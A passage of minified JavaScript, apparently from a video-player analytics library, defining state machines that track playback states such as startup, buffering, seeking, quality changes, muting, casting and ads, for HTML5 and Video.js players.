,to:r.STARTUP},{name:u.Event.TIMECHANGED,from:r.READY,to:r.STARTUP},{name:u.Event.TIMECHANGED,from:r.STARTUP,to:r.PLAYING},{name:u.Event.TIMECHANGED,from:r.PLAYING,to:r.PLAYING},{name:u.Event.SEEKED,from:r.PAUSE,to:r.PAUSE},{name:u.Event.END_BUFFERING,from:r.PLAYING,to:r.PLAYING},{name:u.Event.START_BUFFERING,from:r.PLAYING,to:r.REBUFFERING},{name:u.Event.START_BUFFERING,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.PLAY,from:r.REBUFFERING,to:r.PLAYING},{name:u.Event.TIMECHANGED,from:r.REBUFFERING,to:r.PLAYING},{name:u.Event.SEEK,from:r.STARTUP,to:r.STARTUP},{name:u.Event.PLAY,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.PAUSE,from:r.PLAYING,to:r.PAUSE},{name:u.Event.PAUSE,from:r.REBUFFERING,to:r.PAUSE},{name:u.Event.PLAY,from:r.PAUSE,to:r.PLAYING},{name:u.Event.TIMECHANGED,from:r.PAUSE,to:r.PLAYING},{name:u.Event.VIDEO_CHANGE,from:r.PLAYING,to:r.QUALITYCHANGE},{name:u.Event.AUDIO_CHANGE,from:r.PLAYING,to:r.QUALITYCHANGE},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE,to:r.QUALITYCHANGE},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE,to:r.QUALITYCHANGE},{name:"FINISH_QUALITYCHANGE",from:r.QUALITYCHANGE,to:r.PLAYING},{name:u.Event.VIDEO_CHANGE,from:r.PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.AUDIO_CHANGE,from:r.PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE_PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE_PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:"FINISH_QUALITYCHANGE_PAUSE",from:r.QUALITYCHANGE_PAUSE,to:r.PAUSE},{name:u.Event.SEEK,from:r.PAUSE,to:r.PAUSED_SEEKING},{name:u.Event.SEEK,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.AUDIO_CHANGE,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.VIDEO_CHANGE,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.START_BUFFERING,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.END_BUFFERING,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.SEEKED,from:r.PAUSED_SEEKING,to:r.PAUSE},{name:u.Event.TIMECHANGED,from:r.PAUSED_SEEKING,to:r.PLAYING},{name:u.Event.PAUSE,from:r.PAUSED_SEEKING,to:r.PAUSE},{name:u.Event.END,from:r.PAUSED_SEEKING,to:r.END},{name:u.Event.END,from:r.PLAYING,to:r.END},{name:u.Event.END,from:r.PAUSE,to:r.END},{name:u.Event.PAUSE,from:r.END,to:r.END},{name:u.Event.SEEK,from:r.END,to:r.END},{name:u.Event.SEEKED,from:r.END,to:r.END},{name:u.Event.TIMECHANGED,from:r.END,to:r.END},{name:u.Event.END_BUFFERING,from:r.END,to:r.END},{name:u.Event.START_BUFFERING,from:r.END,to:r.END},{name:u.Event.END,from:r.END,to:r.END},{name:u.Event.SEEKED,from:r.PLAYING,to:r.PLAYING},{name:u.Event.SEEK,from:r.PLAYING,to:r.PLAYING},{name:u.Event.PLAY,from:r.END,to:r.PLAYING},{name:u.Event.ERROR,from:this.getAllStatesBut([r.STARTUP]),to:r.ERROR},{name:u.Event.PAUSE,from:r.ERROR,to:r.ERROR},{name:u.Event.UNLOAD,from:this.getAllStatesBut([r.STARTUP]),to:r.END},{name:u.Event.SUBTITLE_CHANGE,from:r.PLAYING,to:r.SUBTITLE_CHANGING},{name:u.Event.SUBTITLE_CHANGE,from:r.PAUSE,to:r.PAUSE},{name:u.Event.SUBTITLE_CHANGE,from:r.READY,to:r.READY},{name:u.Event.SUBTITLE_CHANGE,from:r.STARTUP,to:r.STARTUP},{name:u.Event.SUBTITLE_CHANGE,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.SUBTITLE_CHANGE,from:r.SUBTITLE_CHANGING,to:r.SUBTITLE_CHANGING},{name:u.Event.TIMECHANGED,from:r.SUBTITLE_CHANGING,to:r.PLAYING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.PLAYING,to:r.AUDIOTRACK_CHANGING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.PAUSE,to:r.PAUSE},{name:u.Event.AUDIOTRACK_CHANGED,from:r.READY,to:r.READY},{name:u.Event.AUDIOTRACK_CHANGED,from:r.STARTUP,to:r.STARTUP},{name:u.Event.AUDIOTRACK_CHANGED,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.AUDIOTRACK_CHANGING,to:r.AUDIOTRACK_CHANGING},{name:u.Event.TIMECHANGED,from:r.AUDIOTRACK_CHANGING,to:r.PLAYING},{name:u.Event.START_AD,from:r.PLAYING,to:r.AD},{name:u.Event.END_AD,from:r.AD,to:r.PLAYING},{name:u.Event.MUTE,from:r.READY,to:r.MUTING_READY},{name:u.Event.UN_MUTE,from:r.READY,to:r.MUTING_READY},{name:"FINISH_MUTING",from:r.MUTING_READY,to:r.READY},{name:u.Event.MUTE,from:r.PLAYING,to:r.MUTING_PLAY},{name:u.Event.UN_MUTE,from:r.PLAYING,to:r.MUTING_PLAY},{name:"FINISH_MUTING",from:r.MUTING_PLAY,to:r.PLAYING},{name:u.Event.MUTE,from:r.PAUSE,to:r.MUTING_PAUSE},{name:u.Event.UN_MUTE,from:r.PAUSE,to:r.MUTING_PAUSE},{name:"FINISH_MUTING",from:r.MUTING_PAUSE,to:r.PAUSE},{name:u.Event.START_CAST,from:[r.READY,r.PAUSE],to:r.CASTING},{name:u.Event.PAUSE,from:r.CASTING,to:r.CASTING},{name:u.Event.PLAY,from:r.CASTING,to:r.CASTING},{name:u.Event.TIMECHANGED,from:r.CASTING,to:r.CASTING},{name:u.Event.MUTE,from:r.CASTING,to:r.CASTING},{name:u.Event.SEEK,from:r.CASTING,to:r.CASTING},{name:u.Event.SEEKED,from:r.CASTING,to:r.CASTING},{name:u.Event.END_CAST,from:r.CASTING,to:r.READY},{name:u.Event.SEEK,from:r.READY,to:r.READY},{name:u.Event.SEEKED,from:r.READY,to:r.READY},{name:u.Event.SEEKED,from:r.STARTUP,to:r.STARTUP},{name:u.Event.SOURCE_LOADED,from:this.getAllStates(),to:r.SETUP},{name:u.Event.SOURCE_UNLOADED,from:this.getAllStates(),to:r.SOURCE_CHANGING},{name:u.Event.MANUAL_SOURCE_CHANGE,from:this.getAllStates(),to:r.SOURCE_CHANGING},{name:u.Event.TIMECHANGED,from:r.SOURCE_CHANGING,to:r.SOURCE_CHANGING},{name:u.Event.PAUSE,from:r.SOURCE_CHANGING,to:r.SOURCE_CHANGING},{name:u.Event.VIDEO_CHANGE,from:r.REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.AUDIO_CHANGE,from:r.REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE_REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE_REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:"FINISH_QUALITYCHANGE_REBUFFERING",from:r.QUALITYCHANGE_REBUFFERING,to:r.REBUFFERING},{name:u.Event.CUSTOM_DATA_CHANGE,from:[r.PLAYING,r.PAUSE],to:r.CUSTOMDATACHANGE},{name:u.Event.PLAYING,from:r.CUSTOMDATACHANGE,to:r.PLAYING},{name:u.Event.PAUSE,from:r.CUSTOMDATACHANGE,to:r.PAUSE},{name:u.Event.PLAYLIST_TRANSITION,from:this.getAllStates(),to:r.READY}],callbacks:{onenterstate:function(i,e,o,s,h){t.onEnterStateTimestamp="none"===e&&n.starttime?n.starttime:s||l.getCurrentTimestamp();f.logger.log("[ENTER ".concat(s,"] ").concat(f.padRight(o,20)," EVENT: ").concat(f.padRight(i,20)," from: ").concat(f.padRight(e,14)));h&&o!==r.PAUSED_SEEKING&&t.stateMachineCallbacks.setVideoTimeStartFromEvent(h);i===u.Event.START_CAST&&o===r.CASTING&&t.stateMachineCallbacks.startCasting(s,h);o===r.REBUFFERING&&t.startRebufferingHeartbeatInterval()},onafterevent:function(n,i,f,e,o){n===u.Event.MANUAL_SOURCE_CHANGE&&t.stateMachineCallbacks.manualSourceChange(o);n===u.Event.PLAYLIST_TRANSITION&&t.stateMachineCallbacks.playlistTransition(o);f===r.QUALITYCHANGE_PAUSE&&t.stateMachine.FINISH_QUALITYCHANGE_PAUSE(e);f===r.QUALITYCHANGE&&t.stateMachine.FINISH_QUALITYCHANGE(e);f===r.QUALITYCHANGE_REBUFFERING&&t.stateMachine.FINISH_QUALITYCHANGE_REBUFFERING(e);f!==r.MUTING_READY&&f!==r.MUTING_PLAY&&f!==r.MUTING_PAUSE||t.stateMachine.FINISH_MUTING(e)},onleavestate:function(n,i,e,o,s){var c,h,a,v,y,l;(i===r.REBUFFERING&&t.resetRebufferingHelpers(),o&&(i!==r.ERROR||n!==u.Event.MANUAL_SOURCE_CHANGE&&n!==u.Event.SOURCE_UNLOADED))&&(f.logger.log("[LEAVE ".concat(o,"] ").concat(f.padRight(i,20)," EVENT: ").concat(f.padRight(n,20)," to: ").concat(f.padRight(e,20))),c=o-t.onEnterStateTimestamp,s&&e!==r.PAUSED_SEEKING&&t.stateMachineCallbacks.setVideoTimeEndFromEvent(s),i===r.READY&&e===r.STARTUP?t.setVideoStartTimeout():i===r.STARTUP&&e===r.PLAYING&&t.clearVideoStartTimeout(),h=String(i).toLowerCase(),e===r.EXIT_BEFORE_VIDEOSTART?(t.clearVideoStartTimeout(),a=t.getVideoStartupFailedEventData(o,n,s),v=n!==u.Event.ERROR,t.stateMachineCallbacks.videoStartFailed(a,v)):i===r.PAUSED_SEEKING?(y=o-t.seekStartedAt,t.seekStartedAt=null,t.stateMachineCallbacks[h](y,h,s)):n===u.Event.UNLOAD?t.stateMachineCallbacks.unload(c,h):i===r.PAUSE&&e!==r.PAUSED_SEEKING?(t.stateMachineCallbacks.setVideoTimeStartFromEvent(n),t.stateMachineCallbacks.pause(c,h)):(l=t.stateMachineCallbacks[h],"function"==typeof l?l(c,h,s):f.logger.error("Could not find callback function for "+h)),s&&e!==r.PAUSED_SEEKING&&t.stateMachineCallbacks.setVideoTimeStartFromEvent(s),n===u.Event.VIDEO_CHANGE?t.stateMachineCallbacks.videoChange(s):n===u.Event.AUDIO_CHANGE?t.stateMachineCallbacks.audioChange(s):n===u.Event.MUTE?t.stateMachineCallbacks.mute():n===u.Event.UN_MUTE&&t.stateMachineCallbacks.unMute())},onseek:function(n,i,r,u){t.seekStartedAt=t.seekStartedAt||u},ontimechanged:function(n,i,r,u,f){var e=u-t.onEnterStateTimestamp;e>59700&&(t.stateMachineCallbacks.setVideoTimeEndFromEvent(f),t.stateMachineCallbacks.heartbeat(e,String(i).toLowerCase(),{played:e}),t.onEnterStateTimestamp=u,t.stateMachineCallbacks.setVideoTimeStartFromEvent(f))},onplayerError:function(n,i,r,u,f){t.stateMachineCallbacks.error(f)}}})},t.prototype.callEvent=function(n,t,i){var r=this.stateMachine[n];r?r.call(this.stateMachine,i,t):f.logger.log("Ignored Event: "+n)},t}(a.AnalyticsStateMachine);t.HTML5AnalyticsStateMachine=s},5918:function(n,t,i){"use strict";var e,h=this&&this.__extends||(e=function(n,t){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},e(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");e(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),o=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))},s;Object.defineProperty(t,"__esModule",{value:!0});t.VideojsAnalyticsStateMachine=void 0;var r,c=i(9363),u=i(4057),f=i(6767),l=i(4984);!function(n){n.AD="AD";n.SETUP="SETUP";n.STARTUP="STARTUP";n.READY="READY";n.PLAYING="PLAYING";n.REBUFFERING="REBUFFERING";n.PAUSE="PAUSE";n.QUALITYCHANGE="QUALITYCHANGE";n.PAUSED_SEEKING="PAUSED_SEEKING";n.PLAY_SEEKING="PLAY_SEEKING";n.END_PLAY_SEEKING="END_PLAY_SEEKING";n.QUALITYCHANGE_PAUSE="QUALITYCHANGE_PAUSE";n.QUALITYCHANGE_REBUFFERING="QUALITYCHANGE_REBUFFERING";n.SOURCE_CHANGING="SOURCE_CHANGING";n.END="END";n.ERROR="ERROR";n.MUTING_READY="MUTING_READY";n.MUTING_PLAY="MUTING_PLAY";n.MUTING_PAUSE="MUTING_PAUSE";n.CASTING="CASTING";n.AUDIOTRACK_CHANGING="AUDIOTRACK_CHANGING";n.AUDIOTRACK_CHANGED_PLAYING="AUDIOTRACK_CHANGED_PLAYING";n.SUBTITLE_CHANGING="SUBTITLE_CHANGING";n.SUBTITLE_CHANGED_PLAYING="SUBTITLE_CHANGED_PLAYING";n.EXIT_BEFORE_VIDEOSTART="EXIT_BEFORE_VIDEOSTART";n.CUSTOMDATACHANGE="CUSTOMDATACHANGE"}(r||(r={}));s=function(n){function t(t,i){var r=n.call(this,t,i)||this;return r.sourceChange=function(n,t,i){r.callEvent(u.Event.MANUAL_SOURCE_CHANGE,{config:n,currentTime:i},t)},r.seekTimestamp=0,r.seekedTimestamp=0,r}return h(t,n),t.prototype.getAllStates=function(){return o(o([],Object.keys(r).map(function(n){return r[n]}),!0),["FINISH_PLAY_SEEKING","PLAY_SEEK","FINISH_QUALITYCHANGE_PAUSE","FINISH_QUALITYCHANGE","FINISH_QUALITYCHANGE_REBUFFERING"],!1)},t.prototype.getAllStatesBut=function(n){return this.getAllStates().filter(function(t){return t!==n})},t.prototype.createStateMachine=function(n){var t=this;return c.create({initial:r.SETUP,error:function(n,t,i,r,u,e){f.logger.error("Error in statemachine: "+e)},events:[{name:u.Event.SOURCE_LOADED,from:[r.SETUP,r.ERROR,r.SOURCE_CHANGING],to:r.READY},{name:u.Event.TIMECHANGED,from:r.SETUP,to:r.SETUP},{name:u.Event.SOURCE_LOADED,from:r.READY,to:r.READY},{name:u.Event.READY,from:[r.SETUP,r.ERROR],to:r.READY},{name:u.Event.PLAY,from:r.READY,to:r.STARTUP},{name:u.Event.ERROR,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.UNLOAD,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.VIDEOSTART_TIMEOUT,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.START_BUFFERING,from:r.STARTUP,to:r.STARTUP},{name:u.Event.END_BUFFERING,from:r.STARTUP,to:r.STARTUP},{name:u.Event.VIDEO_CHANGE,from:r.STARTUP,to:r.STARTUP},{name:u.Event.AUDIO_CHANGE,from:r.STARTUP,to:r.STARTUP},{name:u.Event.TIMECHANGED,from:r.STARTUP,to:r.PLAYING},{name:u.Event.TIMECHANGED,from:r.PLAYING,to:r.PLAYING},{name:u.Event.END_BUFFERING,from:r.PLAYING,to:r.PLAYING},{name:u.Event.START_BUFFERING,from:r.PLAYING,to:r.REBUFFERING},{name:u.Event.START_BUFFERING,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.TIMECHANGED,from:r.REBUFFERING,to:r.PLAYING},{name:u.Event.SEEK,from:r.STARTUP,to:r.STARTUP},{name:u.Event.SEEK,from:r.PLAYING,to:r.PLAY_SEEKING},{name:u.Event.TIMECHANGED,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.TIMECHANGED,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.PAUSE,from:r.PLAYING,to:r.PAUSE},{name:u.Event.PAUSE,from:r.REBUFFERING,to:r.PAUSE},{name:u.Event.TIMECHANGED,from:r.PAUSE,to:r.PAUSE},{name:u.Event.PLAY,from:r.PAUSE,to:r.PLAYING},{name:u.Event.VIDEO_CHANGE,from:r.PLAYING,to:r.QUALITYCHANGE},{name:u.Event.AUDIO_CHANGE,from:r.PLAYING,to:r.QUALITYCHANGE},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE,to:r.QUALITYCHANGE},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE,to:r.QUALITYCHANGE},{name:"FINISH_QUALITYCHANGE",from:r.QUALITYCHANGE,to:r.PLAYING},{name:u.Event.VIDEO_CHANGE,from:r.PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.AUDIO_CHANGE,from:r.PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE_PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE_PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:"FINISH_QUALITYCHANGE_PAUSE",from:r.QUALITYCHANGE_PAUSE,to:r.PAUSE},{name:u.Event.SEEK,from:r.PAUSE,to:r.PAUSED_SEEKING},{name:u.Event.SEEK,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.AUDIO_CHANGE,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.VIDEO_CHANGE,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.START_BUFFERING,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.END_BUFFERING,from:r.PAUSED_SEEKING,to:r.PAUSED_SEEKING},{name:u.Event.SEEKED,from:r.PAUSED_SEEKING,to:r.PAUSE},{name:u.Event.PLAY,from:r.PAUSED_SEEKING,to:r.PLAYING},{name:u.Event.PAUSE,from:r.PAUSED_SEEKING,to:r.PAUSE},{name:"PLAY_SEEK",from:r.PAUSE,to:r.PLAY_SEEKING},{name:"PLAY_SEEK",from:r.PAUSED_SEEKING,to:r.PLAY_SEEKING},{name:"PLAY_SEEK",from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.SEEK,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.AUDIO_CHANGE,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.VIDEO_CHANGE,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.START_BUFFERING,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.END_BUFFERING,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.SEEKED,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.SEEKED,from:r.PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.START_BUFFERING,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.END_BUFFERING,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.SEEKED,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.TIMECHANGED,from:r.END_PLAY_SEEKING,to:r.PLAYING},{name:u.Event.END,from:r.PLAY_SEEKING,to:r.END},{name:u.Event.END,from:r.PAUSED_SEEKING,to:r.END},{name:u.Event.END,from:r.PLAYING,to:r.END},{name:u.Event.END,from:r.PAUSE,to:r.END},{name:u.Event.SEEK,from:r.END,to:r.END},{name:u.Event.SEEKED,from:r.END,to:r.END},{name:u.Event.TIMECHANGED,from:r.END,to:r.END},{name:u.Event.END_BUFFERING,from:r.END,to:r.END},{name:u.Event.START_BUFFERING,from:r.END,to:r.END},{name:u.Event.END,from:r.END,to:r.END},{name:u.Event.SEEKED,from:r.PLAYING,to:r.PLAYING},{name:u.Event.PLAY,from:r.END,to:r.PLAYING},{name:u.Event.ERROR,from:this.getAllStatesBut(r.STARTUP),to:r.ERROR},{name:u.Event.PAUSE,from:r.ERROR,to:r.ERROR},{name:u.Event.SEEK,from:r.END_PLAY_SEEKING,to:r.PLAY_SEEKING},{name:"FINISH_PLAY_SEEKING",from:r.END_PLAY_SEEKING,to:r.PLAYING},{name:u.Event.UNLOAD,from:this.getAllStatesBut(r.STARTUP),to:r.END},{name:u.Event.START_AD,from:r.PLAYING,to:r.AD},{name:u.Event.END_AD,from:r.AD,to:r.PLAYING},{name:u.Event.MUTE,from:r.READY,to:r.MUTING_READY},{name:u.Event.UN_MUTE,from:r.READY,to:r.MUTING_READY},{name:"FINISH_MUTING",from:r.MUTING_READY,to:r.READY},{name:u.Event.MUTE,from:r.PLAYING,to:r.MUTING_PLAY},{name:u.Event.UN_MUTE,from:r.PLAYING,to:r.MUTING_PLAY},{name:"FINISH_MUTING",from:r.MUTING_PLAY,to:r.PLAYING},{name:u.Event.MUTE,from:r.PAUSE,to:r.MUTING_PAUSE},{name:u.Event.UN_MUTE,from:r.PAUSE,to:r.MUTING_PAUSE},{name:"FINISH_MUTING",from:r.MUTING_PAUSE,to:r.PAUSE},{name:u.Event.START_CAST,from:[r.READY,r.PAUSE],to:r.CASTING},{name:u.Event.PAUSE,from:r.CASTING,to:r.CASTING},{name:u.Event.PLAY,from:r.CASTING,to:r.CASTING},{name:u.Event.TIMECHANGED,from:r.CASTING,to:r.CASTING},{name:u.Event.MUTE,from:r.CASTING,to:r.CASTING},{name:u.Event.SEEK,from:r.CASTING,to:r.CASTING},{name:u.Event.SEEKED,from:r.CASTING,to:r.CASTING},{name:u.Event.END_CAST,from:r.CASTING,to:r.READY},{name:u.Event.SEEK,from:r.READY,to:r.READY},{name:u.Event.SEEKED,from:r.READY,to:r.READY},{name:u.Event.SEEKED,from:r.STARTUP,to:r.STARTUP},{name:u.Event.AUDIOTRACK_CHANGED,from:r.PLAYING,to:r.AUDIOTRACK_CHANGED_PLAYING},{name:"FINISH_AUDIOTRACK_CHANGING",from:r.AUDIOTRACK_CHANGED_PLAYING,to:r.PLAYING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.PAUSE,to:r.PAUSE},{name:u.Event.AUDIOTRACK_CHANGED,from:r.READY,to:r.READY},{name:u.Event.AUDIOTRACK_CHANGED,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.AUDIOTRACK_CHANGING,to:r.AUDIOTRACK_CHANGING},{name:u.Event.SUBTITLE_CHANGE,from:r.PLAYING,to:r.SUBTITLE_CHANGED_PLAYING},{name:"FINISH_SUBTITLE_CHANGING",from:r.SUBTITLE_CHANGED_PLAYING,to:r.PLAYING},{name:u.Event.SUBTITLE_CHANGE,from:r.PAUSE,to:r.PAUSE},{name:u.Event.SUBTITLE_CHANGE,from:r.READY,to:r.READY},{name:u.Event.SUBTITLE_CHANGE,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.SUBTITLE_CHANGE,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.SUBTITLE_CHANGE,from:r.SUBTITLE_CHANGING,to:r.SUBTITLE_CHANGING},{name:u.Event.MANUAL_SOURCE_CHANGE,from:this.getAllStatesBut(r.READY),to:r.SOURCE_CHANGING},{name:u.Event.MANUAL_SOURCE_CHANGE,from:r.READY,to:r.READY},{name:u.Event.MANUAL_SOURCE_CHANGE,from:r.SETUP,to:r.SETUP},{name:u.Event.TIMECHANGED,from:r.SOURCE_CHANGING,to:r.SOURCE_CHANGING},{name:u.Event.VIDEO_CHANGE,from:r.REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.AUDIO_CHANGE,from:r.REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE_REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE_REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:"FINISH_QUALITYCHANGE_REBUFFERING",from:r.QUALITYCHANGE_REBUFFERING,to:r.REBUFFERING},{name:u.Event.CUSTOM_DATA_CHANGE,from:[r.PLAYING,r.PAUSE],to:r.CUSTOMDATACHANGE},{name:u.Event.PLAYING,from:r.CUSTOMDATACHANGE,to:r.PLAYING},{name:u.Event.PAUSE,from:r.CUSTOMDATACHANGE,to:r.PAUSE}],callbacks:{onafterevent:function(n,i,u,f){u===r.QUALITYCHANGE&&t.stateMachine.FINISH_QUALITYCHANGE(f);u!==r.MUTING_READY&&u!==r.MUTING_PLAY&&u!==r.MUTING_PAUSE||t.stateMachine.FINISH_MUTING(f);u===r.AUDIOTRACK_CHANGED_PLAYING&&t.stateMachine.FINISH_AUDIOTRACK_CHANGING(f);u===r.SUBTITLE_CHANGED_PLAYING&&t.stateMachine.FINISH_SUBTITLE_CHANGING(f)},onenterstate:function(i,e,o,s,h){t.onEnterStateTimestamp="none"===e&&n.starttime?n.starttime:s||(new Date).getTime();f.logger.log("[ENTER] "+f.padRight(o,20)+"EVENT: "+f.padRight(i,20)+" from "+f.padRight(e,14));h&&o!==r.PAUSED_SEEKING&&o!==r.PLAY_SEEKING&&o!==r.END_PLAY_SEEKING&&t.stateMachineCallbacks.setVideoTimeStartFromEvent(h);i===u.Event.SEEK&&t.stateMachineCallbacks.setVideoTimeStartFromEvent(h);i===u.Event.SEEKED&&t.stateMachineCallbacks.setVideoTimeEndFromEvent(h);"PLAY_SEEK"===i&&o===r.PLAY_SEEKING&&o!==r.PLAY_SEEKING&&o!==r.END_PLAY_SEEKING&&(t.seekTimestamp=t.onEnterStateTimestamp);i===u.Event.START_CAST&&o===r.CASTING&&t.stateMachineCallbacks.startCasting(s,h);o===r.REBUFFERING&&t.startRebufferingHeartbeatInterval()},onleavestate:function(n,i,e,o,s){var c,h,v,y,l,a;if(i===r.REBUFFERING&&t.resetRebufferingHelpers(),o){if(f.logger.log("[LEAVE] ".concat(f.padRight(i,20)," EVENT: ").concat(f.padRight(n,20)," to ").concat(f.padRight(e,20))),c=o-t.onEnterStateTimestamp,s&&e!==r.PAUSED_SEEKING&&e!==r.END_PLAY_SEEKING&&t.stateMachineCallbacks.setVideoTimeEndFromEvent(s),"PLAY_SEEK"===n&&i===r.PAUSE)return!0;i===r.READY&&e===r.STARTUP?t.setVideoStartTimeout():i!==r.STARTUP||e!==r.PLAYING&&e!==r.EXIT_BEFORE_VIDEOSTART||t.clearVideoStartTimeout();h=String(i).toLowerCase();e===r.EXIT_BEFORE_VIDEOSTART?(t.clearVideoStartTimeout(),v=t.getVideoStartupFailedEventData(o,n,s),y=n!==u.Event.ERROR,t.stateMachineCallbacks.videoStartFailed(v,y)):i===r.PAUSED_SEEKING?(l=o-t.seekTimestamp,t.stateMachineCallbacks.paused_seeking(l,h)):i===r.END_PLAY_SEEKING?(l=t.seekedTimestamp-t.seekTimestamp,t.stateMachineCallbacks.end_play_seeking(l,h)):n===u.Event.UNLOAD?t.stateMachineCallbacks.unload(c,h):i===r.PAUSE&&e!==r.PAUSED_SEEKING?(t.stateMachineCallbacks.setVideoTimeStartFromEvent(n),t.stateMachineCallbacks.pause(c,h)):(a=t.stateMachineCallbacks[h],"function"==typeof a?a(c,h,s):null==[r.MUTING_PAUSE,r.MUTING_PLAY,r.AUDIOTRACK_CHANGED_PLAYING,r.SUBTITLE_CHANGED_PLAYING].find(function(n){return i===n})&&f.logger.error("Could not find callback function for "+h));s&&e!==r.PAUSED_SEEKING&&e!==r.PLAY_SEEKING&&e!==r.END_PLAY_SEEKING&&t.stateMachineCallbacks.setVideoTimeStartFromEvent(s);n===u.Event.VIDEO_CHANGE?t.stateMachineCallbacks.videoChange(s):n===u.Event.AUDIO_CHANGE?t.stateMachineCallbacks.audioChange(s):n===u.Event.MUTE?t.stateMachineCallbacks.mute():n===u.Event.UN_MUTE?t.stateMachineCallbacks.unMute():n===u.Event.MANUAL_SOURCE_CHANGE&&t.stateMachineCallbacks.manualSourceChange(s)}},onseek:function(n,i,r,u){t.seekTimestamp=u},onseeked:function(n,i,r,u){t.seekedTimestamp=u},ontimechanged:function(n,i,r,u,f){var e=u-t.onEnterStateTimestamp;e>59700&&(t.stateMachineCallbacks.setVideoTimeEndFromEvent(f),t.stateMachineCallbacks.heartbeat(e,String(i).toLowerCase(),{played:e}),t.onEnterStateTimestamp=u,t.stateMachineCallbacks.setVideoTimeStartFromEvent(f))},onplayerError:function(n,i,r,u,f){t.stateMachineCallbacks.error(f)}}})},t.prototype.callEvent=function(n,t,i){var r=this.stateMachine[n];r?r.call(this.stateMachine,i,t):f.logger.log("Ignored Event: "+n)},t}(l.AnalyticsStateMachine);t.VideojsAnalyticsStateMachine=s},7659:function(n,t,i){"use strict";var e,c=this&&this.__extends||(e=function(n,t){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},e(n,t)},function(n,t){function 